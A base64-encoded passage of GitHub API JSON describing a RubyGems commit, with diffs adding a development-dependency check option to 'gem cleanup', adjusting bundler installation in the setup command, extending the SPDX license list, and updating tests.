AkTE9BRF9QQVRILiAgUGx1Z2lucyBtdXN0IGJlIG5hbWVkICdydWJ5Z2Vtc19wbHVnaW4nICgucmIsIC5zbywgZXRjKSBhbmRcbiAjIHBsYWNlZCBhdCB0aGUgcm9vdCBvZiB5b3VyIGdlbSdzICNyZXF1aXJlX3BhdGguICBQbHVnaW5zIGFyZSBkaXNjb3ZlcmVkIHZpYVxuLSMgR2VtOjpmaW5kX2ZpbGVzIGFuZCB0aGVuIGxvYWRlZC4gIFRha2UgY2FyZSB3aGVuIGltcGxlbWVudGluZyBhIHBsdWdpbiBhcyB5b3VyXG4tIyBwbHVnaW4gZmlsZSBtYXkgYmUgbG9hZGVkIG11bHRpcGxlIHRpbWVzIGlmIG11bHRpcGxlIHZlcnNpb25zIG9mIHlvdXIgZ2VtXG4tIyBhcmUgaW5zdGFsbGVkLlxuKyMgR2VtOjpmaW5kX2ZpbGVzIGFuZCB0aGVuIGxvYWRlZC5cbiAjXG4gIyBGb3IgYW4gZXhhbXBsZSBwbHVnaW4sIHNlZSB0aGUge0dyYXBoIGdlbX1baHR0cHM6Ly9naXRodWIuY29tL3NlYXR0bGVyYi9ncmFwaF1cbiAjIHdoaWNoIGFkZHMgYSBgZ2VtIGdyYXBoYCBjb21tYW5kLiJ9LHsic2hhIjoiNzljMjNjODQwZDExMTUxZDdmYjhkYWM2MDZiMzRjY2M3NmVjYWM4NyIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2NvbW1hbmRzL2NsZWFudXBfY29tbWFuZC5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjo5LCJkZWxldGlvbnMiOjIsImNoYW5nZXMiOjExLCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2NsZWFudXBfY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2NsZWFudXBfY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2NsZWFudXBfY29tbWFuZC5yYj9yZWY9ZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYSIsInBhdGNoIjoiQEAgLTgsMTMgKzgsMjAgQEAgY2xhc3MgR2VtOjpDb21tYW5kczo6Q2xlYW51cENvbW1hbmQgPCBHZW06OkNvbW1hbmRcbiAgIGRlZiBpbml0aWFsaXplXG4gICAgIHN1cGVyICdjbGVhbnVwJyxcbiAgICAgICAgICAgJ0NsZWFuIHVwIG9sZCB2ZXJzaW9ucyBvZiBpbnN0YWxsZWQgZ2VtcycsXG4tICAgICAgICAgIDpmb3JjZSA9PiBmYWxzZSwgOmluc3RhbGxfZGlyID0+IEdlbS5kaXJcbisgICAgICAgICAgOmZvcmNlID0+IGZhbHNlLCA6aW5zdGFsbF9kaXIgPT4gR2VtLmRpcixcbisgICAgICAgICAgOmNoZWNrX2RldiA9PiB0cnVlXG4gXG4gICAgIGFkZF9vcHRpb24oJy1uJywgJy1kJywgJy0tZHJ5cnVuJyxcbiAgICAgICAgICAgICAgICAnRG8gbm90IHVuaW5zdGFsbCBnZW1zJykgZG8gfHZhbHVlLCBvcHRpb25zfFxuICAgICAgIG9wdGlvbnNbOmRyeXJ1bl0gPSB0cnVlXG4gICAgIGVuZFxuIFxuKyAgICBhZGRfb3B0aW9uKCctRCcsICctLVtuby1dY2hlY2stZGV2ZWxvcG1lbnQnLFxuKyAgICAgICAgICAgICAgICdDaGVjayBkZXZlbG9wbWVudCBkZXBlbmRlbmNpZXMgd2hpbGUgdW5pbnN0YWxsaW5nJyxcbisgICAgICAgICAgICAgICAnKGRlZmF1bHQ6IHRydWUpJykgZG8gfHZhbHVlLCBvcHRpb25zfFxuKyAgICAgIG9wdGlvbnNbOmNoZWNrX2Rldl0gPSB2YWx1ZVxuKyAgICBlbmRcbitcbiAgICAgQGNhbmRpZGF0ZV9nZW1zICA9IG5pbFxuICAgICBAZGVmYXVsdF9nZW1zICAgID0gW11cbiAgICAgQGZ1bGwgICAgICAgICAgICA9IG5pbFxuQEAgLTEzOCw3ICsxNDUsNyBAQCBkZWYgZ2V0X3ByaW1hcnlfZ2Vtc1xuICAgZW5kXG4gXG4gICBkZWYgdW5pbnN0YWxsX2RlcCBzcGVjXG4tICAgIHJldHVybiB1bmxlc3MgQGZ1bGwub2tfdG9fcmVtb3ZlPyhzcGVjLmZ1bGxfbmFtZSlcbisgICAgcmV0dXJuIHVubGVzcyBAZnVsbC5va190b19yZW1vdmU/KHNwZWMuZnVsbF9uYW1lLCBvcHRpb25zWzpjaGVja19kZXZdKVxuIFxuICAgICBpZiBvcHRpb25zWzpkcnlydW5dIHRoZW5cbiAgICAgICBzYXkgXCJEcnkgUnVuIE1vZGU6IFdvdWxkIHVuaW5zdGFsbCAje3NwZWMuZnVsbF9uYW1lfVwiIn0seyJzaGEiOiI1ZDE0MTRkMTAyMDNkOTI5Yjk4MGYwYTRlNzQ4OTg0NWFjZjhjNjA3IiwiZmlsZW5hbWUiOiJsaWIvcnVieWdlbXMvY29tbWFuZHMvc2V0dXBfY29tbWFuZC5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoxOSwiZGVsZXRpb25zIjoxMiwiY2hhbmdlcyI6MzEsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS9saWIvcnVieWdlbXMvY29tbWFuZHMvc2V0dXBfY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvbGliL3J1YnlnZW1zL2NvbW1hbmRzL3NldHVwX2NvbW1hbmQucmIiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL2xpYi9ydWJ5Z2Vtcy9jb21tYW5kcy9zZXR1cF9jb21tYW5kLnJiP3JlZj1kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwicGF0Y2giOiJAQCAtODIsMTEgKzgyLDcgQEAgZGVmIGluaXRpYWxpemVcbiBcbiAgICAgYWRkX29wdGlvbiAnLS1bbm8tXXJlZ2VuZXJhdGUtYmluc3R1YnMnLFxuICAgICAgICAgICAgICAgICdSZWdlbmVyYXRlIGdlbSBiaW5zdHVicycgZG8gfHZhbHVlLCBvcHRpb25zfFxuLSAgICAgIGlmIHZhbHVlIHRoZW5cbi0gICAgICAgIG9wdGlvbnNbOnJlZ2VuZXJhdGVfYmluc3R1YnNdID0gdHJ1ZVxuLSAgICAgIGVsc2Vcbi0gICAgICAgIG9wdGlvbnMuZGVsZXRlKDpyZWdlbmVyYXRlX2JpbnN0dWJzKVxuLSAgICAgIGVuZFxuKyAgICAgIG9wdGlvbnNbOnJlZ2VuZXJhdGVfYmluc3R1YnNdID0gdmFsdWVcbiAgICBlbmRcbiBcbiAgICAgQHZlcmJvc2UgPSBuaWxcbkBAIC0xNTYsNyArMTUyLDcgQEAgZGVmIGV4ZWN1dGVcbiBcbiAgICAgc2F5IFwiUnVieUdlbXMgI3tHZW06OlZFUlNJT059IGluc3RhbGxlZFwiXG4gXG4tICAgIHJlZ2VuZXJhdGVfYmluc3R1YnNcbisgICAgcmVnZW5lcmF0ZV9iaW5zdHVicyBpZiBvcHRpb25zWzpyZWdlbmVyYXRlX2JpbnN0dWJzXVxuIFxuICAgICB1bmluc3RhbGxfb2xkX2dlbWN1dHRlclxuIFxuQEAgLTM1Nyw3ICszNTMsNyBAQCBkZWYgaW5zdGFsbF9kZWZhdWx0X2J1bmRsZXJfZ2VtXG4gICAgIG1rZGlyX3AgR2VtOjpTcGVjaWZpY2F0aW9uLmRlZmF1bHRfc3BlY2lmaWNhdGlvbnNfZGlyXG4gXG4gICAgICMgV29ya2Fyb3VuZCBmb3Igbm9uLWdpdCBlbnZpcm9ubWVudC5cbi0gICAgZ2Vtc3BlYyA9IEZpbGUucmVhZCgnYnVuZGxlci9idW5kbGVyLmdlbXNwZWMnKS5nc3ViKC9gZ2l0IGxzLWZpbGVzIC16YC8sIFwiJydcIilcbisgICAgZ2Vtc3BlYyA9IEZpbGUub3BlbignYnVuZGxlci9idW5kbGVyLmdlbXNwZWMnLCAncmInKXt8ZnwgZi5yZWFkLmdzdWIoL2BnaXQgbHMtZmlsZXMgLXpgLywgXCInJ1wiKSB9XG4gICAgIEZpbGUub3BlbignYnVuZGxlci9idW5kbGVyLmdlbXNwZWMnLCAndycpe3xmfCBmLndyaXRlIGdlbXNwZWMgfVxuIFxuICAgICBidW5kbGVyX3NwZWMgPSBHZW06OlNwZWNpZmljYXRpb24ubG9hZChcImJ1bmRsZXIvYnVuZGxlci5nZW1zcGVjXCIpXG5AQCAtMzcyLDEzICszNjgsMjQgQEAgZGVmIGluc3RhbGxfZGVmYXVsdF9idW5kbGVyX2dlbVxuIFxuICAgICBidW5kbGVyX3NwZWMgPSBHZW06OlNwZWNpZmljYXRpb24ubG9hZChkZWZhdWx0X3NwZWNfcGF0aClcbiBcbi0gICAgRGlyLmVudHJpZXMoYnVuZGxlcl9zcGVjLmdlbXNfZGlyKS5cbi0gICAgICBzZWxlY3Qge3xkZWZhdWx0X2dlbXwgZGVmYXVsdF9nZW0uc3RhcnRfd2l0aD8oXCJidW5kbGVyLVwiKSB9LlxuLSAgICAgIGVhY2gge3xkZWZhdWx0X2dlbXwgcm1fciBGaWxlLmpvaW4oYnVuZGxlcl9zcGVjLmdlbXNfZGlyLCBkZWZhdWx0X2dlbSkgfVxuKyAgICBpZiBGaWxlLmRpcmVjdG9yeT8gYnVuZGxlcl9zcGVjLmdlbXNfZGlyXG4rICAgICAgRGlyLmVudHJpZXMoYnVuZGxlcl9zcGVjLmdlbXNfZGlyKS5cbisgICAgICAgIHNlbGVjdCB7fGRlZmF1bHRfZ2VtfCBGaWxlLmJhc2VuYW1lKGRlZmF1bHRfZ2VtKS5tYXRjaCgvXmJ1bmRsZXItI3tHZW06OlZlcnNpb246OlZFUlNJT05fUEFUVEVSTn0kLykgfS5cbisgICAgICAgIGVhY2gge3xkZWZhdWx0X2dlbXwgcm1fciBGaWxlLmpvaW4oYnVuZGxlcl9zcGVjLmdlbXNfZGlyLCBkZWZhdWx0X2dlbSkgfVxuKyAgICBlbmRcbiBcbiAgICAgbWtkaXJfcCBidW5kbGVyX3NwZWMuYmluX2RpclxuICAgICBidW5kbGVyX3NwZWMuZXhlY3V0YWJsZXMuZWFjaCB7fGV8IGNwIEZpbGUuam9pbihcImJ1bmRsZXJcIiwgYnVuZGxlcl9zcGVjLmJpbmRpciwgZSksIEZpbGUuam9pbihidW5kbGVyX3NwZWMuYmluX2RpciwgZSkgfVxuIFxuKyAgICBpZiBHZW0ud2luX3BsYXRmb3JtP1xuKyAgICAgIHJlcXVpcmUgJ3J1YnlnZW1zL2luc3RhbGxlcidcbitcbisgICAgICBpbnN0YWxsZXIgPSBHZW06Okluc3RhbGxlci5mb3Jfc3BlYyBidW5kbGVyX3NwZWNcbisgICAgICBidW5kbGVyX3NwZWMuZXhlY3V0YWJsZXMuZWFjaCBkbyB8ZXxcbisgICAgICAgIGluc3RhbGxlci5nZW5lcmF0ZV93aW5kb3dzX3NjcmlwdCBlLCBidW5kbGVyX3NwZWMuYmluX2RpclxuKyAgICAgIGVuZFxuKyAgICBlbmRcbitcbiAgICAgc2F5IFwiQnVuZGxlciAje2J1bmRsZXJfc3BlYy52ZXJzaW9ufSBpbnN0YWxsZWRcIlxuICAgZW5kXG4gXG5AQCAtNDQyLDE1ICs0NDksMTUgQEAgZGVmIHJiX2ZpbGVzX2luIGRpclxuICAgIyBmb3IgaW5zdGFsbGF0aW9uIG9mIGJ1bmRsZXIgYXMgZGVmYXVsdCBnZW1zXG4gICBkZWYgdGVtcGxhdGVfZmlsZXNcbiAgICAgRGlyLmNoZGlyIFwiYnVuZGxlci9saWJcIiBkb1xuLSAgICAgIChEaXJbRmlsZS5qb2luKCdidW5kbGVyJywgJ3RlbXBsYXRlcycsICcqKicsICcqJyldICsgRGlyW0ZpbGUuam9pbignYnVuZGxlcicsICd0ZW1wbGF0ZXMnLCAnKionLCAnLionKV0pLlxuKyAgICAgIChEaXJbRmlsZS5qb2luKCdidW5kbGVyJywgJ3RlbXBsYXRlcycsICcqKicsICd7KiwuKn0nKV0pLlxuICAgICAgICAgc2VsZWN0e3xmfCAhRmlsZS5kaXJlY3Rvcnk/KGYpfVxuICAgICBlbmRcbiAgIGVuZFxuIFxuICAgIyBmb3IgY2xlYW51cCBvbGQgYnVuZGxlciBmaWxlc1xuICAgZGVmIHRlbXBsYXRlX2ZpbGVzX2luIGRpclxuICAgICBEaXIuY2hkaXIgZGlyIGRvXG4tICAgICAgKERpcltGaWxlLmpvaW4oJ3RlbXBsYXRlcycsICcqKicsICcqJyldICsgRGlyW0ZpbGUuam9pbigndGVtcGxhdGVzJywgJyoqJywgJy4qJyldKS5cbisgICAgICAoRGlyW0ZpbGUuam9pbigndGVtcGxhdGVzJywgJyoqJywgJ3sqLC4qfScpXSkuXG4gICAgICAgICBzZWxlY3R7fGZ8ICFGaWxlLmRpcmVjdG9yeT8oZil9XG4gICAgIGVuZFxuICAgZW5kIn0seyJzaGEiOiI5NmZlZDI4MmYxYTQxMjEyNWYwYTQzMTIyMjFlNWRkZWM0ZGFlNGQyIiwiZmlsZW5hbWUiOiJsaWIvcnVieWdlbXMvdXRpbC9saWNlbnNlcy5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjozNywiZGVsZXRpb25zIjowLCJjaGFuZ2VzIjozNywiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL2xpYi9ydWJ5Z2Vtcy91dGlsL2xpY2Vuc2VzLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS9saWIvcnVieWdlbXMvdXRpbC9saWNlbnNlcy5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvbGliL3J1YnlnZW1zL3V0aWwvbGljZW5zZXMucmI/cmVmPWRjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJwYXRjaCI6IkBAIC00OCw5ICs0OCwxMyBAQCBjbGFzcyBHZW06OkxpY2Vuc2VzXG4gICAgICAgQlNELTMtQ2xhdXNlLUF0dHJpYnV0aW9uXG4gICAgICAgQlNELTMtQ2xhdXNlLUNsZWFyXG4gICAgICAgQlNELTMtQ2xhdXNlLUxCTkxcbisgICAgICBCU0QtMy1DbGF1c2UtTm8tTnVjbGVhci1MaWNlbnNlXG4rICAgICAgQlNELTMtQ2xhdXNlLU5vLU51Y2xlYXItTGljZW5zZS0yMDE0XG4rICAgICAgQlNELTMtQ2xhdXNlLU5vLU51Y2xlYXItV2FycmFudHlcbiAgICAgICBCU0QtNC1DbGF1c2VcbiAgICAgICBCU0QtNC1DbGF1c2UtVUNcbiAgICAgICBCU0QtUHJvdGVjdGlvblxuKyAgICAgIEJTRC1Tb3VyY2UtQ29kZVxuICAgICAgIEJTTC0xLjBcbiAgICAgICBCYWh5cGhcbiAgICAgICBCYXJyXG5AQCAtMTI2LDYgKzEzMCw3IEBAIGNsYXNzIEdlbTo6TGljZW5zZXNcbiAgICAgICBFbnRlc3NhXG4gICAgICAgRXJsUEwtMS4xXG4gICAgICAgRXVyb3N5bVxuKyAgICAgIEZTRkFQXG4gICAgICAgRlNGVUxcbiAgICAgICBGU0ZVTExSXG4gICAgICAgRlRMXG5AQCAtMTM3LDggKzE0MiwxOCBAQCBjbGFzcyBHZW06OkxpY2Vuc2VzXG4gICAgICAgR0ZETC0xLjNcbiAgICAgICBHTDJQU1xuICAgICAgIEdQTC0xLjBcbisgICAgICBHUEwtMS4wK1xuICAgICAgIEdQTC0yLjBcbisgICAgICBHUEwtMi4wK1xuKyAgICAgIEdQTC0yLjAtd2l0aC1HQ0MtZXhjZXB0aW9uXG4rICAgICAgR1BMLTIuMC13aXRoLWF1dG9jb25mLWV4Y2VwdGlvblxuKyAgICAgIEdQTC0yLjAtd2l0aC1iaXNvbi1leGNlcHRpb25cbisgICAgICBHUEwtMi4wLXdpdGgtY2xhc3NwYXRoLWV4Y2VwdGlvblxuKyAgICAgIEdQTC0yLjAtd2l0aC1mb250LWV4Y2VwdGlvblxuICAgICAgIEdQTC0zLjBcbisgICAgICBHUEwtMy4wK1xuKyAgICAgIEdQTC0zLjAtd2l0aC1HQ0MtZXhjZXB0aW9uXG4rICAgICAgR1BMLTMuMC13aXRoLWF1dG9jb25mLWV4Y2VwdGlvblxuICAgICAgIEdpZnR3YXJlXG4gICAgICAgR2xpZGVcbiAgICAgICBHbHVseGVcbkBAIC0xNTIsMTQgKzE2NywyMCBAQCBjbGFzcyBHZW06OkxpY2Vuc2VzXG4gICAgICAgSVNDXG4gICAgICAgSW1hZ2VNYWdpY2tcbiAgICAgICBJbWxpYjJcbisgICAgICBJbmZvLVpJUFxuICAgICAgIEludGVsXG4gICAgICAgSW50ZWwtQUNQSVxuICAgICAgIEludGVyYmFzZS0xLjBcbiAgICAgICBKU09OXG4gICAgICAgSmFzUGVyLTIuMFxuKyAgICAgIExBTC0xLjJcbisgICAgICBMQUwtMS4zXG4gICAgICAgTEdQTC0yLjBcbisgICAgICBMR1BMLTIuMCtcbiAgICAgICBMR1BMLTIuMVxuKyAgICAgIExHUEwtMi4xK1xuICAgICAgIExHUEwtMy4wXG4rICAgICAgTEdQTC0zLjArXG4gICAgICAgTEdQTExSXG4gICAgICAgTFBMLTEuMFxuICAgICAgIExQTC0xLjAyXG5AQCAtMTcwLDYgKzE5MSw5IEBAIGNsYXNzIEdlbTo6TGljZW5zZXNcbiAgICAgICBMUFBMLTEuM2NcbiAgICAgICBMYXRleDJlXG4gICAgICAgTGVwdG9uaWNhXG4rICAgICAgTGlMaVEtUC0xLjFcbisgICAgICBMaUxpUS1SLTEuMVxuKyAgICAgIExpTGlRLVJwbHVzLTEuMVxuICAgICAgIExpYnBuZ1xuICAgICAgIE1JVFxuICAgICAgIE1JVC1DTVVcbkBAIC0xOTMsNiArMjE3LDcgQEAgY2xhc3MgR2VtOjpMaWNlbnNlc1xuICAgICAgIE5CUEwtMS4wXG4gICAgICAgTkNTQVxuICAgICAgIE5HUExcbisgICAgICBOTE9ELTEuMFxuICAgICAgIE5MUExcbiAgICAgICBOT1NMXG4gICAgICAgTlBMLTEuMFxuQEAgLTIwMSwxMSArMjI2LDEzIEBAIGNsYXNzIEdlbTo6TGljZW5zZXNcbiAgICAgICBOUkxcbiAgICAgICBOVFBcbiAgICAgICBOYXVtZW5cbisgICAgICBOZXQtU05NUFxuICAgICAgIE5ldENERlxuICAgICAgIE5ld3NsZXRyXG4gICAgICAgTm9raWFcbiAgICAgICBOb3dlYlxuICAgICAgIE51bml0XG4rICAgICAgT0NDVC1QTFxuICAgICAgIE9DTEMtMi4wXG4gICAgICAgT0RiTC0xLjBcbiAgICAgICBPRkwtMS4wXG5AQCAtMjI5LDYgKzI1Niw3IEBAIGNsYXNzIEdlbTo6TGljZW5zZXNcbiAgICAgICBPTERBUC0yLjhcbiAgICAgICBPTUxcbiAgICAgICBPUEwtMS4wXG4rICAgICAgT1NFVC1QTC0yLjFcbiAgICAgICBPU0wtMS4wXG4gICAgICAgT1NMLTEuMVxuICAgICAgIE9TTC0yLjBcbkBAIC0yNTksNiArMjg3LDcgQEAgY2xhc3MgR2VtOjpMaWNlbnNlc1xuICAgICAgIFNJU1NMXG4gICAgICAgU0lTU0wtMS4yXG4gICAgICAgU01MTkpcbisgICAgICBTTVBQTFxuICAgICAgIFNOSUFcbiAgICAgICBTUEwtMS4wXG4gICAgICAgU1dMXG5AQCAtMjY5LDIwICsyOTgsMjYgQEAgY2xhc3MgR2VtOjpMaWNlbnNlc1xuICAgICAgIFNwZW5jZXItODZcbiAgICAgICBTcGVuY2VyLTk0XG4gICAgICAgU3BlbmNlci05OVxuKyAgICAgIFN0YW5kYXJkTUwtTkpcbiAgICAgICBTdWdhckNSTS0xLjEuM1xuICAgICAgIFRDTFxuKyAgICAgIFRDUC13cmFwcGVyc1xuICAgICAgIFRNYXRlXG4gICAgICAgVE9SUVVFLTEuMVxuICAgICAgIFRPU0xcbiAgICAgICBVUEwtMS4wXG4rICAgICAgVW5pY29kZS1ERlMtMjAxNVxuKyAgICAgIFVuaWNvZGUtREZTLTIwMTZcbiAgICAgICBVbmljb2RlLVRPVVxuICAgICAgIFVubGljZW5zZVxuICAgICAgIFZPU1RST01cbiAgICAgICBWU0wtMS4wXG4gICAgICAgVmltXG4gICAgICAgVzNDXG4gICAgICAgVzNDLTE5OTgwNzIwXG4rICAgICAgVzNDLTIwMTUwNTEzXG4gICAgICAgV1RGUExcbisgICAgICBXWHdpbmRvd3NcbiAgICAgICBXYXRjb20tMS4wXG4gICAgICAgV3N1aXBhXG4gICAgICAgWDExXG5AQCAtMzAyLDggKzMzNywxMCBAQCBjbGFzcyBHZW06OkxpY2Vuc2VzXG4gICAgICAgWmxpYlxuICAgICAgIGJ6aXAyLTEuMC41XG4gICAgICAgYnppcDItMS4wLjZcbisgICAgICBjdXJsXG4gICAgICAgZGlmZm1hcmtcbiAgICAgICBkdmlwZGZtXG4rICAgICAgZUNvcy0yLjBcbiAgICAgICBlR2VuaXhcbiAgICAgICBnU09BUC0xLjNiXG4gICAgICAgZ251cGxvdCJ9LHsic2hhIjoiNDQ0MmM2MTA4ZWE4MzEzZWZjYjNkYzY0YTc4MDY3NWUwYzQwNTU3ZCIsImZpbGVuYW1lIjoidGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kLnJiIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjYsImRlbGV0aW9ucyI6MCwiY2hhbmdlcyI6NiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kLnJiIiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmQucmI/cmVmPWRjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJwYXRjaCI6IkBAIC0xMyw2ICsxMyw3IEBAIGRlZiBzZXR1cFxuIFxuICAgICBAeG9wdCA9IG5pbFxuIFxuKyAgICBAY29tbW9uX29wdGlvbnMgPSBHZW06OkNvbW1hbmQuY29tbW9uX29wdGlvbnMuZHVwXG4gICAgIEdlbTo6Q29tbWFuZC5jb21tb25fb3B0aW9ucy5jbGVhclxuICAgICBHZW06OkNvbW1hbmQuY29tbW9uX29wdGlvbnMgPDwgIFtcbiAgICAgICBbJy14JywgJy0tZXhlJywgJ0V4ZWN1dGUnXSwgbGFtYmRhIGRvIHwqYXxcbkBAIC0yNCw2ICsyNSwxMSBAQCBkZWYgc2V0dXBcbiAgICAgQGNtZCA9IEdlbTo6Q29tbWFuZC5uZXcgQGNtZF9uYW1lLCAnc3VtbWFyeSdcbiAgIGVuZFxuIFxuKyAgZGVmIHRlYXJkb3duXG4rICAgIHN1cGVyXG4rICAgIEdlbTo6Q29tbWFuZC5jb21tb25fb3B0aW9ucy5yZXBsYWNlIEBjb21tb25fb3B0aW9uc1xuKyAgZW5kXG4rXG4gICBkZWYgdGVzdF9zZWxmX2FkZF9zcGVjaWZpY19leHRyYV9hcmdzXG4gICAgIGFkZGVkX2FyZ3MgPSAld1stLWFsbF1cbiAgICAgQGNtZC5hZGRfb3B0aW9uICctLWFsbCcgZG8gfHYsb3wgZW5kIn0seyJzaGEiOiJjNTVlMTk1OTc1ODQ0OGEyMDEwZjhkMzg1OGI3OTYyOWJlOGE4MDVkIiwiZmlsZW5hbWUiOiJ0ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2NsZWFudXBfY29tbWFuZC5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjo0MywiZGVsZXRpb25zIjowLCJjaGFuZ2VzIjo0MywiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfY2xlYW51cF9jb21tYW5kLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2NsZWFudXBfY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19jbGVhbnVwX2NvbW1hbmQucmI/cmVmPWRjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJwYXRjaCI6IkBAIC0zMiw2ICszMiwyMSBAQCBkZWYgdGVzdF9oYW5kbGVfb3B0aW9uc19uXG4gICAgIGFzc2VydCBAY21kLm9wdGlvbnNbOmRyeXJ1bl1cbiAgIGVuZFxuIFxuKyAgZGVmIHRlc3RfaGFuZGxlX29wdGlvbnNfY2hlY2tfZGV2ZWxvcG1lbnRcbisgICAgQGNtZC5oYW5kbGVfb3B0aW9ucyBbXVxuKyAgICBhc3NlcnQgQGNtZC5vcHRpb25zWzpjaGVja19kZXZdXG4rXG4rICAgICV3Wy1EIC0tY2hlY2stZGV2ZWxvcG1lbnRdLmVhY2ggZG8gfG9wdGlvbnN8XG4rICAgICAgQGNtZC5oYW5kbGVfb3B0aW9ucyBbb3B0aW9uc11cbisgICAgICBhc3NlcnQgQGNtZC5vcHRpb25zWzpjaGVja19kZXZdXG4rICAgIGVuZFxuK1xuKyAgICAld1stLW5vLWNoZWNrLWRldmVsb3BtZW50XS5lYWNoIGRvIHxvcHRpb25zfFxuKyAgICAgIEBjbWQuaGFuZGxlX29wdGlvbnMgW29wdGlvbnNdXG4rICAgICAgcmVmdXRlIEBjbWQub3B0aW9uc1s6Y2hlY2tfZGV2XVxuKyAgICBlbmRcbisgIGVuZFxuK1xuICAgZGVmIHRlc3RfZXhlY3V0ZVxuICAgICBAY21kLm9wdGlvbnNbOmFyZ3NdID0gJXdbYV1cbiBcbkBAIC01NSw2ICs3MCwzNCBAQCBkZWYgdGVzdF9leGVjdXRlX2FsbF9kZXBlbmRlbmNpZXNcbiAgICAgcmVmdXRlX3BhdGhfZXhpc3RzIEBiXzEuZ2VtX2RpclxuICAgZW5kXG4gXG4rICBkZWYgdGVzdF9leGVjdXRlX2Rldl9kZXBlbmRlbmNpZXNcbisgICAgQGJfMSA9IHV0aWxfc3BlYyAnYicsIDEgZG8gfHN8IHMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgJ2EnLCAnMScgZW5kXG4rICAgIEBjXzEgPSB1dGlsX3NwZWMgJ2MnLCAxIGRvIHxzfCBzLmFkZF9kZXZlbG9wbWVudF9kZXBlbmRlbmN5ICdhJywgJzInIGVuZFxuK1xuKyAgICBpbnN0YWxsX2dlbSBAYl8xXG4rICAgIGluc3RhbGxfZ2VtIEBjXzFc